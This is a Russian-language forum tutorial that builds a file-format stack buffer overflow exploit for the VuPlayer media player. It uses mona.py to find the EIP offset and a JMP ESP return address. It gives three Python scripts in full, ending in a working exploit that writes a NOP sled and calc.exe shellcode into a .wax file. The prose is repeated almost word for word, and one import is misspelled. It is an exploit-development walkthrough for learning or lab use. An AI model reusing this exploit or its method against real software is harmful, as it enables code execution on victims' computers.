Тестрирование проводилось на ОС Windows 7 x32 с отключенным DEP.
Создадим эксплойт триггер чтобы перезаписать регистр EIP.
Запускаем Vuplayer под отладчиком
и скармливаем наш файловый сплойт.
Как мы видим мы успешно перезаписали EIP регистр. Теперь вычислим смещение до регистра EIP. Воспользуемся плагином mona.py
!mona pc 5000
Созданную ASCII строку скопируем в наш сплойт. Затем повторим процесс передачи созданного нами файла в уязвимую программу под отладчиком. Нажимаем Ctrl+F2, F9 и кормим файлом…
Как мы видим выполнение программы остановилось. Смотрим на значение регистра EIP, зачем копируем это значение 68423768 для вычисления смещения.
Пишем в панели команд
!mona po 68423768
Смещение до EIP = 1012 байт.
Модифицируем наш эксплойт.
Проверяем смещение.
Всё правильно, дело за мылам, теперь найдем адрес инструкции JMP ESP (RET2REG), добавим последовательность нопов и шеллкод.
Нажимаем Alt+E, выбираем понравившийся модуль.
Кликаем , заметем Ctrl+F и пишем «jmp esp»
Если в выбранной .dll инструкция не найдена, выбираем другой модуль и опять ищем.
После того как нашли копируем адрес инструкции и модифицируем наш эксплойт
Тестируем
Как мы видим эксплойт успешно отработал, калькулятор запустился…
Создадим эксплойт триггер чтобы перезаписать регистр EIP.
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
payload = "A"*5000
file = open('exploit.wax', 'w')
print "Create file exploit"
file.write(payload)
print "Write payload"
Запускаем Vuplayer под отладчиком
и скармливаем наш файловый сплойт.
Как мы видим мы успешно перезаписали EIP регистр. Теперь вычислим смещение до регистра EIP. Воспользуемся плагином mona.py
!mona pc 5000
Созданную ASCII строку скопируем в наш сплойт. Затем повторим процесс передачи созданного нами файла в уязвимую программу под отладчиком. Нажимаем Ctrl+F2, F9 и кормим файлом…
Как мы видим выполнение программы остановилось. Смотрим на значение регистра EIP, зачем копируем это значение 68423768 для вычисления смещения.
Пишем в панели команд
!mona po 68423768
Смещение до EIP = 1012 байт.
Модифицируем наш эксплойт.
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
payload = "A"*1012 #OFFSET
payload += "B"*4 #EIP
file = open('exploit.wax', 'w')
print "Create file exploit"
file.write(payload)
print "Write payload"
Проверяем смещение.
Всё правильно, дело за мылам, теперь найдем адрес инструкции JMP ESP (RET2REG), добавим последовательность нопов и шеллкод.
Нажимаем Alt+E, выбираем понравившийся модуль.
Кликаем , заметем Ctrl+F и пишем «jmp esp»
Если в выбранной .dll инструкция не найдена, выбираем другой модуль и опять ищем.
После того как нашли копируем адрес инструкции и модифицируем наш эксплойт
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from stcruct import pack
payload = "A"*1012 #OFFSET
payload += pack('I',0x762c6c28) #eip - jmp esp (ret2reg)
payload += '\x90'*50 # nops-sled
#112 bytes small all Windows null-free CreateProcessA calc.exe shellcode.
# https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7")
payload += shellcode
file = open('exploit.wax', 'w')
print "Create file exploit"
file.write(payload)
print "Write payload"
Тестируем
Как мы видим эксплойт успешно отработал, калькулятор запустился…
Последнее редактирование: